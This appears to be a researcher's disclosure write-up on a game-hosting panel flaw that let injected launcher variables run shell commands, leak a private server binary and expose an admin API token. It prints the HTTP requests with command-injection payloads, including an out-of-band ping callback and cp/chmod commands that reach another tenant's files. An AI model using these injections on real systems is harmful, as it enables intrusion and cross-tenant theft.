Leaking the WARDOGS Server Binary via Remote Code Execution on a Hosting Partner

@sshell_, @xEHLE_, @blastbots

When WARDOGS announced that their server binary would be available only privately to a few selected hosting providers, I became curious as to why, and then found a vulnerability that let me download it (along with secret keys used to manage player bans, cash, gold bars, and XP). I demonstrated the impact by launching a private server where I was able to do a lot of fun stuff like spawning in unreleased vehicles, toggling god mode, infinite ammo, teleportation, and could have exploited this to give anyone gold bars, cash, and XP using the leaked Pragma server backend token.

While waiting for the WARDOGS team to respond to our vulnerability report, we found a single packet server crash by running static analysis against the binary and made a private server to test the patched server-side cheats. All of the vulnerabilities identified have since been fixed.

Code Execution on a Hosting Partner

WARDOGS is unique in that all private and public servers have the same shared economy. If you kill a player in a private community server, the cash and XP are added to your account, and are available on every server globally. This meant that there was a shared API between all servers, and that a single compromised server might allow abuse beyond normal admin abuse.

There were only 3 different hosting providers (at the time), so I bought a server on each of them and launched a small network of community servers. Most of the providers were using open source game hosting solutions like Pterodactyl (which is very hardened), but one had its own custom thing that seemed a bit more prone to potential issues.

I proxied the very limited hosting panel and found an interesting API endpoint: it seemed to allow you to launch game server instances for free. It took in a gameId value that tied to whichever game you were trying to launch a server for, and then paired the launched instance to your serverId, the value of the original service that you paid for (kind of confusing, but it's basically a free way to spawn another server instance connected to your existing customer tenant).

POST /api/GameService/CreateGameService HTTP/1.1
Host: redacted
Cookie: <redacted authenticated session>
Content-Type: application/json
Accept: application/json

{"serverId":123,"gameId":456}

It didn't seem to work for launching another WARDOGS instance, so I enumerated the gameId parameter until one returned 200 OK. The successful response showed that it had launched a server for a game called "WARDOGS (DEV)"! This seemed interesting!

The new DEV game server had a bit more functionality: it allowed me to set custom variables for my launcher config. Since these were likely passed in as shell commands when the server booted, I tried breaking out of the command context so that I might be able to run custom commands within my container.

PUT /api/Service/893/CommandLines/Predefined/1 HTTP/1.1
Host: redacted
Cookie: <redacted authenticated session>
Content-Type: application/json
Accept: application/json

{
  "name": "Default",
  "variables": {
    "StartupMap": "Kavkazi; ping ssrf.mycollaboratorservice.com",
    "Hostname": "whatever'; ping ssrf.mycollaboratorservice.com",
    "WDRcon_Password": "whatever\"; ping ssrf.mycollaboratorservice.com"
  }
}

I relaunched the game server with my injected ping commands and got a hit!

The Collaborator server received a DNS lookup of type A for the domain name ssrf.mycollaboratorservice.com. 
The lookup was received from IP address 1.2.3.4:33075 at 2026-Oct-15 06:06:26.418 UTC.

Leaking the Server Binary

Since this was just command execution inside my own game server sandbox, I didn't report the vulnerability right away, and instead explored the filesystem a bit by observing the command output in the server log.

One immediate realization was that the launched DEV instance was running on the same box as my original WARDOGS game server, because the file system showed a unique folder for each instance ID. If I ran "ls ../" there were folders for both of the instances:

824/ (my original WARDOGS server ID)
893/ (the DEV instance that I launched)

I ran some more commands to explore the other folder. If I could now access the filesystem on the actual WARDOGS game server, there was likely a production server binary somewhere in there. After a bit of probing, I eventually found it:

../824/Wardogs/Binaries/Linux/WardogsServer-Linux-Shipping

This was the private WARDOGS server binary! But I wasn't able to download it yet, because it was in a protected folder on the system (not available to be downloaded via the limited file browser offered by the hosting site UX).

I clicked around some more and saw that the UX offered a way to download config files from the DEV server, so I found the system path for the config folder, chmod'd the file to have download permissions, and copied it there.

{
  "name": "Default",
  "variables": {
    "StartupMap": "Kavkazi; cp ../824/Wardogs/Binaries/Linux/WardogsServer-Linux-Shipping Configs/qa-prod-current.bin; chmod 644 Configs/qa-prod-current.bin; #",
    "Hostname": "<existing value>",
    "CustomCLI": "<existing value>",
    "WDRcon_Password": "<existing value>"
  }
}

It worked! I saw the file in the UX, and I was able to download the private server binary via the following HTTP request:

GET /api/Service/893/FileManager/Download?path=Configs/qa-prod-current.bin HTTP/1.1
Host: redacted
Cookie: <redacted authenticated session>
Accept: application/json

What Was Inside the Binary

Now that we had the server binary, we had an actual reportable vulnerability. I sent a few emails to both WARDOGS and the server hosting provider, but while we waited for the response, I wanted to have an actual look at the binary. How did it work? Could anyone run this on any server, and it would launch an actual server on the WARDOGS server browser? How did the API work?

I launched the server binary and proxied the traffic. It seemed to work normally, but I was seeing the name of the hosting provider everywhere in the server logs. This seemed to be a specifically patched binary that was given to the individual provider, and it was making a bunch of HTTP requests with credentials that were bundled into the actual server binary:

POST /v1/rpc HTTP/1.1
Host: wardogs_pragma_server_redacted:10100
Authorization: Bearer <bootstrap JWT>
Content-Type: application/json

{
  "type": "ServerBrowserRpc.CreatePartnerTokensPartnerV1Request",
  "payload": {
    "apiToken": "<redacted>"
  }
}

The API key that was baked into the server binary was used to communicate to the primary WARDOGS Pragma engine backend and had the following permissions:

[
  "account.account_bans.add",
  "account.account_bans.get",
  "account.accounts.get",
  "anti_cheat.player_report.submit",
  "game_instance.instance.create",
  "game_instance.instance.manage",
  "player_data.components.get",
  "player_data.currency.get",
  "player_data.currency.set",
  "player_data.metaTrees.set",
  "player_data.player_mastery.get",
  "player_data.player_mastery.initialize",
  "player_data.player_mastery.set",
  "player_data.vault.delete",
  "player_data.vault.get",
  "telemetry.events.create",
  "wardogs.anybrain.get_credentials",
  "wardogs.custom_game_data.get_versioned_game_data",
  "wardogs.server_browser.update_server_info",
  "wardogs.wardogs_custom_game_instance.find_or_add_player"
]

This was really bad. The leaked token allowed us to globally ban players, set XP, gold bars, money, and more. Just having the server binary meant that we could do a ton of funny admin abuse stuff (spawning vehicles, teleporting players, etc. on our own server), but the direct backend access meant that we didn't even really have to do that since we just had backend admin access to manage accounts (for clarity, this doesn't mean like leaked passwords or anything, it's just the ability to do game-related account management stuff on all servers, like infinite money or banning players arbitrarily).

I switched focus to the actual server binary and found that it shipped with symbols enabled. This allowed me to quickly find debug functionality, like player invisibility, teleportation, spawning items, spawning vehicles, and unlimited ammo. I built a web app which added in functionality so that I could set these options for players, then played around on a test server, which is the video at the top of this post.

There was an additional issue where an attacker could crash any server with a single packet. At this point luckily, Bulkhead got back in touch with me, and I was added to a group chat with the CISO. They triaged the report, helped patch the issue on the hosting partner, rotated the credentials, and sent a nice thank you message.

Huge thanks to @sshell_, @xEHLE_, and @blastbots for working on this together! Special thanks to Bulkhead for responding to this so quickly, even when they were completely swamped from their huge launch.

Also, obligatory, please do not hack things that you don't have permission to hack, I do not want you getting sued or something because you thought that what I did was OK. Even though this was my own sandbox, this could still have caused downstream issues. Thanks for reading!